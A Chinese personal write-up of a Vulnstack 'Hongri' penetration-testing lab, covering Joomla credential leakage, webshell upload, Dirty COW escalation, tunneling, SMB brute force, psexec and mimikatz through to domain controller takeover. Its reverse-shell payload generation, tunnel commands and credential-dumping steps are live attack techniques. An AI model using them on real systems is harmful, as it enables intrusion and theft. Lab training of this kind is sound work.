红日靶场(三)——个人笔记

环境搭建

添加一张网卡(仅主机模式),192.168.93.0/24 网段

开启centos,第一次运行,重启网络服务

service network restart

192.168.43.57/24(外网ip)
192.168.93.100/24(内网ip)
image.png

其他四台主机均为单网卡机器,将 kali 主机设置为桥接网卡

外网探测

已知外网网段:192.168.43.0/24
发现主机,使用nmap进行简单的ping扫描

┌──(root㉿nuli)-[/home/nuli/Desktop]
└─# nmap -sn 192.168.43.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 19:27 CST
Nmap scan report for 192.168.43.1
Host is up (0.011s latency).
MAC Address: 9E:07:2D:1A:6F:11 (Unknown)
Nmap scan report for 192.168.43.57
Host is up (0.00057s latency).
MAC Address: 00:0C:29:32:46:C9 (VMware)
Nmap scan report for 192.168.43.58
Host is up (0.00020s latency).
MAC Address: 60:45:2E:C2:AE:57 (Unknown)
Nmap scan report for nuli (192.168.43.191)
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.03 seconds

发现57,58俩台存活主机
进行简单端口扫描

nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.43.57
nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.43.58

结果:

┌──(root㉿nuli)-[/home/nuli/Desktop]
└─# nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.43.57
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 19:31 CST
Nmap scan report for 192.168.43.57
Host is up (0.0018s latency).PORT     STATE  SERVICE       VERSION
21/tcp   closed ftp
22/tcp   open   ssh           OpenSSH 5.3 (protocol 2.0)
80/tcp   open   http          nginx 1.9.4
88/tcp   closed kerberos-sec
135/tcp  closed msrpc
139/tcp  closed netbios-ssn
389/tcp  closed ldap
443/tcp  closed https
445/tcp  closed microsoft-ds
636/tcp  closed ldapssl
1433/tcp closed ms-sql-s
3306/tcp open   mysql         MySQL 5.7.27-0ubuntu0.16.04.1
3389/tcp closed ms-wbt-server
5985/tcp closed wsman
6379/tcp closed redis
MAC Address: 00:0C:29:32:46:C9 (VMware)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
┌──(root㉿nuli)-[/home/nuli/Desktop]
└─# nmap -sV -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379 192.168.43.58Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-19 19:31 CST
Nmap scan report for nuli (192.168.43.58)
Host is up (0.000085s latency).PORT     STATE  SERVICE       VERSION
21/tcp   closed ftp
22/tcp   closed ssh
80/tcp   closed http
88/tcp   closed kerberos-sec
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  closed ldap
443/tcp  closed https
445/tcp  open   microsoft-ds?
636/tcp  closed ldapssl
1433/tcp closed ms-sql-s
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5985/tcp closed wsman
6379/tcp closed redis
MAC Address: 60:45:2E:C2:AE:57 (Unknown)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.44 seconds

总结:

开放端口
192.168.43.57:
22端口:ssh登录,爆破密码
80端口:web网页
3306端口:mysql,尝试弱口令192.168.43.58:
135端口:msrpc服务
139端口:netbios-ssn服务,文件和打印机共享
445端口:microsoft-ds,SMB协议

wapplayzer查看:Joomla系统
image.png

看到登录框(果断尝试弱口令)

没成功,可能是字典问题

CMS漏洞扫描

CMS为joomla
使用Joomscan工具扫描:未发现漏洞
image.png
Joomla3.9.12

目录扫描:信息泄露,连接数据库

dirsearch扫目录

image.png

robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/orig.html
#
# For syntax checking, see:
# http://tool.motoricerca.info/robots-checker.phtmlUser-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

192.168.43.57/configuration.php~存在信息泄露
image.png

泄露数据库账号密码,也许3306端口可以利用上
public $dbtype = 'mysqli'; 
public $host = 'localhost'; 
public $user = 'testuser'; 
public $password = 'cvcvgjASD!@'; 
public $db = 'joomla';

尝试连接数据库
image.png

数据库添加管理员,登录后台

官方文档中有修改密码的方法:
J1.5:如何恢复或重置您的管理员密码?- Joomla! 文档

但这里无法修改,于是可以新建超级管理员账户
image.png
image.png

成功登录
image.png

上传木马,蚁剑连接

随便浏览,发现模板处可以上传文件
image.png
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
image.png

绕过disable_functions

image.png

设置了disable_functions
蚁键插件自带绕过disable_functions的插件
image.png

ssh连接

执行uname -a
nginx反代,实际后端为ubuntu服务器
image.png

在www-data:/tmp/mysql/test.txt中有账号密码,可以尝试ssh连接

adduser wwwuser
passwd wwwuser_123Aqx

ubuntu的ip为192.168.93.120
centos的ip为192.168.93.100

提权

这里首先查看具有root权限的suid可执行文件

find / -perm -4000 2>/dev/null
常见root权限文件nmap
vim
find
bash
more
less
nano
cp

image.png
无法利用

使用脏牛提权:
exp地址:https://github.com/FireFart/dirtycow
上传到可读可写的文件夹:如/tmp

编译EXP:

gcc -pthread dirty.c -o dirty –lcrypt

生成root权限的用户:./dirty 123

查看/etc/passwd

成功创建一个toor超级用户
image.png
提权成功:
image.png

内网探测

尝试reGeorg+Proxchains实现内网穿透(失败)

网站根目录上传tunnel.nosocket.php
image.png

image.png

image.png

但是这里防火墙限制或者是函数限制,建立隧道失败
image.png

上线msf马(要注意系统版本,这是x86)

生成木马:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.191 LPORT=9999 -f elf > a.elf

msf监听端口:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.43.191
set LPORT 9999
exploit
执行msf马:
chmod +x a.elf
./a.elf

image.png

获取完整shell

python -c 'import pty;pty.spawn("/bin/bash")'

image.png

内网信息收集

内网网段:192.168.93.0/24

查看内网网段(这里从之前获取到的信息也能看到):内网网段:192.168.93.0/24
image.png

添加路由(这里我用msf扫不到,后面使用内网穿透)
挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复msf可以使用bg挂起会话,sessions查询会话。恢复会话使用sessions -i ID

拿到meterpreter,挂起会话,添加路由
image.png

use multi/manage/autoroute
sessions  # 查询会话id
route add 192.168.93.0 255.255.255.0 1 #1是会话id

image.png

内网穿透
使用earthworm搭建socks5反向代理(扫描速度太慢)
攻击机:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234靶机:
./ew_for_linux64 -s rssocks -d 192.168.43.191 -e 1234

image.png

image.png

编辑/etc/proxychains.conf文件,将sock5指向127.0.0.1:1080
image.png

使用chisel搭建隧道

攻击机配置:

./chisel server -p 8080 --reverse-p 8080:指定服务端监听端口
--reverse:允许反向代理

客户端配置:

./chisel client 192.168.43.191:8080 R:1080:socks

隧道搭建成功,和earthworm没什么区别

内网信息收集(使用上传fscan扫描)

上传fscan工具

./fscan_amd64_1.6 -h 192.168.93.0/24
(icmp) Target '192.168.93.100' is alive(centos)
(icmp) Target '192.168.93.120' is alive(ubuntu)
(icmp) Target '192.168.93.1' is alive
(icmp) Target '192.168.93.20' is alive(win2008)
(icmp) Target '192.168.93.10' is alive(DC域控)
(icmp) Target '192.168.93.30' is alive(win7)
./fscan_amd64_1.6 -h 192.168.93.0/24 -np -nopoc -p 21,22,80,88,135,139,389,443,445,636,1433,3306,3389,5985,6379

DC域控

192.168.93.10:389 open 
192.168.93.10:139 open 
192.168.93.10:88 open 
192.168.93.10:53 open 
192.168.93.10:445 open 
192.168.93.10:464 open 
192.168.93.10:593 open 
192.168.93.10:135 open

win2008

192.168.93.20:139 open
192.168.93.20:80 open
192.168.93.20:135 open
192.168.93.20:139 open
192.168.93.20:445 open
192.168.93.20:1433 open

win7

192.168.93.30:135 open
192.168.93.30:139 open
192.168.93.30:445 open

centos

192.168.93.100:22 open
192.168.93.100:80 open
192.168.93.100:3306 open

ubuntu

192.168.93.120:22 open
192.168.93.120:3306 open
192.168.93.120:80 open

分析:

弱口令:
mysql:192.168.93.120:3306:root 123 [+] mysql:192.168.93.100:3306:root 123windows远程管理:
192.168.93.10(域控)开放 5985 端口win主机均开放445端口,尝试永恒之蓝漏洞

永恒之蓝测试

use auxiliary/scanner/smb/smb_ms17_010
set RHOST 192.168.93.10
run

三台主机均不存在永恒之蓝漏洞

msf post(multi/manage/autoroute) > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.93.10
RHOST => 192.168.93.10
msf auxiliary(scanner/smb/smb_ms17_010) > run
[-] 192.168.93.10:445     - Host does NOT appear vulnerable.
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.21/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 192.168.93.10:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.93.20
RHOST => 192.168.93.20
msf auxiliary(scanner/smb/smb_ms17_010) > run
[-] 192.168.93.20:445     - Host does NOT appear vulnerable.
[*] 192.168.93.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_ms17_010) > set RHOST 192.168.93.30
RHOST => 192.168.93.30
msf auxiliary(scanner/smb/smb_ms17_010) > run
[-] 192.168.93.30:445     - Host does NOT appear vulnerable.
[*] 192.168.93.30:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

MSSQL密码爆破-命令执行

Win2008开放1433端口

1433端口用于SQL Server对外提供服务
use auxiliary/scanner/mssql/mssql_login
show options
set RHOSTS 192.168.93.20
run

这里数据库的账号密码就是之前得到的:testuser/cvcvgjASD!@

通过Metasploit的mssql_exec运行cmd命令

use auxiliary/admin/mssql/mssql_exec
show options
set CMD 'ipconfig'
set RHOST 192.168.93.20
set PASSWORD 123456
run

命令无法执行

SMB密码爆破

use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.10
set PASS_FILE ~/pass.txt
set SMBUser administrator
exploit

image.png

Win7密码为123qwe!ASD

爆破后Win2008密码也为:123qwe!ASD

DC并没有爆破出来

SMB横向

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set smbuser administrator 
set smbpass 123qwe!ASD
run

这里win7的4444端口并没有被占用,但是SMB连不上,而Win2008可以拿到meterpreter

image.png
之后用反向连接拿到Win7的shell

msf exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > set lhost 192.168.93.130
lhost => 192.168.93.130
msf exploit(windows/smb/psexec) > run

这里进程不稳定,使用进程迁移到稳定的进程

可以看到已经拿到SYSTEM权限
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

进程迁移:

getpid  #获取当前pid
#选择一个稳定的进程:`explorer.exe`、`svchost.exe`、`winlogon.exe`
ps    #查看进程
migrate PID
meterpreter > ps |grep explorer
Filtering on 'explorer'
No matching processes were found.
meterpreter > 
meterpreter > migrate 220
[*] Migrating from 344 to 220...
[*] Migration completed successfully.

看到域内有三台主机

meterpreter > shell
Process 1276 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6003]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.C:\Windows\system32>net view
net view
Server Name            Remark-------------------------------------------------------------------------------
\\WIN-8GA56TNV3MV                                                              
\\WIN2008                                                                      
\\WIN7                                                                         
The command completed successfully.

拿到域控

通过upload命令上传mimikatz

meterpreter > upload ~/tools/mimikatz/mimikatz.exe C:\\Windows\\temp\\ [*] Uploading : /root/tools/mimikatz/mimikatz.exe -> C:\Windows\temp\mimikatz.exe [*] Completed : /root/tools/mimikatz/mimikatz.exe -> C:\Windows\temp\mimikatz.exe
C:\Windows\Temp>ipconfig /all
ipconfig /allWindows IP ConfigurationHost Name . . . . . . . . . . . . : win2008Primary Dns Suffix  . . . . . . . : test.orgNode Type . . . . . . . . . . . . : HybridIP Routing Enabled. . . . . . . . : NoWINS Proxy Enabled. . . . . . . . : NoDNS Suffix Search List. . . . . . : test.org
sekurlsa::logonpasswords

获取到域控的密码:zxcASDqw123!!
但是smb无法连接

msf exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(windows/smb/psexec) > set rhost 192.168.93.10
rhost => 192.168.93.10
msf exploit(windows/smb/psexec) > set smbuser administrator 
smbuser => administrator
msf exploit(windows/smb/psexec) > set smbpasswd zxcASDqw123!!
[!] Unknown datastore option: smbpasswd. Did you mean SMBPass?
smbpasswd => zxcASDqw123!!
msf exploit(windows/smb/psexec) > set smbpass zxcASDqw123!!
smbpass => zxcASDqw123!!
msf exploit(windows/smb/psexec) > run
[*] 192.168.93.10:445 - Connecting to the server...
[*] 192.168.93.10:445 - Authenticating to 192.168.93.10:445 as user 'administrator'...
[*] 192.168.93.10:445 - Selecting PowerShell target
[*] 192.168.93.10:445 - Executing the payload...
[+] 192.168.93.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.93.10:8080
[*] Exploit completed, but no session was created.

反向连接拿到meterpreter

msf exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/psexec) > set lhost 192.168.93.130
lhost => 192.168.93.130
msf exploit(windows/smb/psexec) > run

image.png

拿到域控,至此,渗透结束!
image.png

总结:

基本信息收集,远程连接数据库,木马连接,绕过disable_functions,提权,内网穿透(reGeorg,earthworm),msf上线木马,msf添加路由,内网信息收集,1433端口MSSQL密码爆破+命令执行,445端口SMB密码爆破,使用psexec通过正向连接、反向连接获取shell,进程迁移,横向移动

参考资料:
红日靶机(三)笔记 - LingX5 - 博客园
Vlunstack ATT&CK实战系列——红队实战(三)Writeup-先知社区
ATT&CK红队评估(红日靶场三) - FreeBuf网络安全行业门户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/96573.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/96573.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

车载网关框架 --- 车内网关IP转CAN链路解析 done

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 做到欲望极简,了解自己的真实欲望,不受外在潮流的影响,不盲从,不跟风。把自己的精力全部用在自己。一是去掉多余,凡事找规律,基础是诚信;二是…

lvgl修改输入设备驱动使其支持鼠标右键、双击、滑轮...

我在前几章移植 lvgl 到linux上时讲过注册鼠标驱动部分,那时候使用的时默认提供的驱动,支持的鼠标功能很少,只有左键点击,那时候我提过我们可以修改驱动使其支持,下面是具体的实现。看上面代码,我们当时是直…

SpringBoot 中单独一个类中运行main方法报错:找不到或无法加载主类

1. 报错SpringBoot项目,在随机某个类使用main方法,点击运行/调试报错错误: 找不到或无法加载主类 com.central.workorder.config.PropertyEncrypt 原因: java.lang.ClassNotFoundException: com.central.workorder.config.PropertyEncrypt2. 原因缩短命令…

React 核心 Hook 与冷门技巧:useReducer、useEffect、useRef 及 is 属性全解析

📚 前言React 的函数组件 Hooks 模式已经成为现代前端开发的主流。相比类组件,Hooks 让状态管理和副作用处理更加简洁和可复用。但在实际开发中,除了常用的 useState 和 useEffect,还有很多“进阶武器”值得我们掌握。本文将深入…

通义灵码产品演示: 数据库设计与数据分析

作者:了哥 演示主题:AI 进行数据库设计以及做数据分析 演示目的 演示通义灵码对于数据库的设计能力以及数据分析能力。 演示准备 准备数据库,这里为了简单实用 sqlite3 brew install sqlite3使用 vscode,同时安装好通义灵码的插件…

MySQL主从同步参数调优案例

#作者:stackofumbrella 文章目录一、前言二、故障概述2.1 基础信息2.2 故障现象描述三、故障诊断分析3.1 排查过程3.2 问题根因四、故障解决方案 📊4.1 解决方案 🛠️五、总结附件一、前言 在磐基系统中大量使用MySQL作为后端的数据存储&…

【代码随想录算法训练营——Day10】栈与队列——232.用栈实现队列、225.用队列实现栈、20.有效的括号、1047.删除字符串中的所有相邻重复项

LeetCode题目链接 https://leetcode.cn/problems/implement-queue-using-stacks/ https://leetcode.cn/problems/implement-stack-using-queues/description/ https://leetcode.cn/problems/valid-parentheses/description/ https://leetcode.cn/problems/remove-all-adjacent-…

Asp .Net Core 系列:Asp .Net Core 集成 Hangfire+MySQL

在 .NET 或 .NET Core 应用中,若需在不依赖 Windows 服务、独立进程的前提下实现后台处理,Hangfire 是最成熟、简单的方案之一 —— 它可直接嵌入现有应用(如 ASP.NET Core Web 应用),无需额外部署,同时提供…

网站漏洞扫描要怎么处理?

在网络安全领域,网站漏洞是黑客攻击的重要突破口,而网站漏洞扫描能及时发现这些隐患。但很多小白在完成漏洞扫描后,不清楚后续该如何处理,导致漏洞一直存在,给网站安全埋下风险。下面从准备工作、处理步骤、验证维护等…

淘宝RecGPT:通过LLM增强推荐

导论背景 (Background)​​推荐系统的核心挑战​​:怎么 准确推断 用户行为背后快速变化的真实意图,以实现用户、商户和平台的三赢。​​现有方法的局限性​​:传统的基于历史日志共现模式(“从点击学习点击”)的模型&…

【Go系统编程】07 网络化IPC:Go的王牌——Socket编程

大家好,我是Tony Bai。欢迎来到我们《Go 系统编程》专栏的最后一讲。在过去的旅程中,我们探索了管道、消息队列、共享内存等一系列强大的 IPC 机制。它们各有所长,但都有一个共同的、致命的局限性:它们都只能在同一台物理机上工作…

claude code使用小窍门

视频地址 B站 1 /init 在项目最开始的时候,使用/init可以将项目通读一遍。cc会将学习到的关于项目的知识都保存到CLAUD.MD文件中 2、 /compact 用来压缩对话的上下文,claude会将之前的一些乱七八糟或者重复的对话删除压缩,有利于提高AI的…

The learning process of Decision Tree Model|决策树模型学习过程

----------------------------------------------------------------------------------------------- 这是我在我的网站中截取的文章,有更多的文章欢迎来访问我自己的博客网站rn.berlinlian.cn,这里还有很多有关计算机的知识,欢迎进行留言或…

期货盘后空开是认购期权行权?

本文主要介绍期货盘后空开是认购期权行权?期货盘后空开与认购期权行权是两个独立的概念,无直接关联,需从交易机制、操作逻辑及市场规则三方面区分。期货盘后空开是认购期权行权?1. 定义与交易属性期货盘后空开:属于期货…

ESP32 I2S音频总线学习笔记(七):制作一个录音播放器

简介 上一篇我们利用I2S输出DIY了一个蓝牙音箱简单玩了一下,本篇我们继续来看代码。前面几篇文章我们分别介绍了I2S输入,I2S输出,以及WAV文件格式的相关内容,那我们就可以根据所学到的,制作一个录音机,具体…

PyTorch 动态图的灵活性与实用技巧

PyTorch 以其动态计算图(Dynamic Computation Graph)而闻名,这赋予了它极高的灵活性和易用性,使其在研究和实际应用中都备受青睐。与TensorFlow 1.x的静态图(需要先定义图结构,再运行)不同&…

#C语言——刷题攻略:牛客编程入门训练(十一):攻克 循环控制(三),轻松拿捏!

🌟菜鸟主页:晨非辰的主页 👀学习专栏:《C语言刷题合集》 💪学习阶段:C语言方向初学者 ⏳名言欣赏:"代码行数决定你的下限,算法思维决定你的上限。" 前言:在学习…

复杂PDF文档结构化提取全攻略——从OCR到大模型知识库构建

在学术研究、金融分析、法律合同、工程设计等众多领域,PDF文档已成为信息存储与传递的重要载体。然而,面对包含复杂表格、公式、图表、手写批注、多栏排版等元素的PDF,传统工具往往难以准确、完整地提取内容。这不仅影响信息利用效率&#xf…

HttpClient、OkHttp 和 WebClient

HttpClient、OkHttp 和 WebClient 是 Java 生态中常见的 HTTP 客户端,它们在设计理念、异步能力、性能等方面有所不同。以下是它们的详细对比:1. 概述客户端介绍Apache HttpClient传统同步 HTTP 客户端,功能丰富,历史悠久&#xf…

书籍成长书籍文字#创业付费杂志《财新周刊》2025最新合集 更33期

免费访问地址 https://isharehubs.com/article/2025-33-26c27ee5bb9180cdafc5efbec9545ac5 资源信息 付费杂志《财新周刊》2025最新合集 更33期 《财新周刊》2025 最新合集(更至 33 期)重磅上线,聚焦年度热点与结构性变化,从监…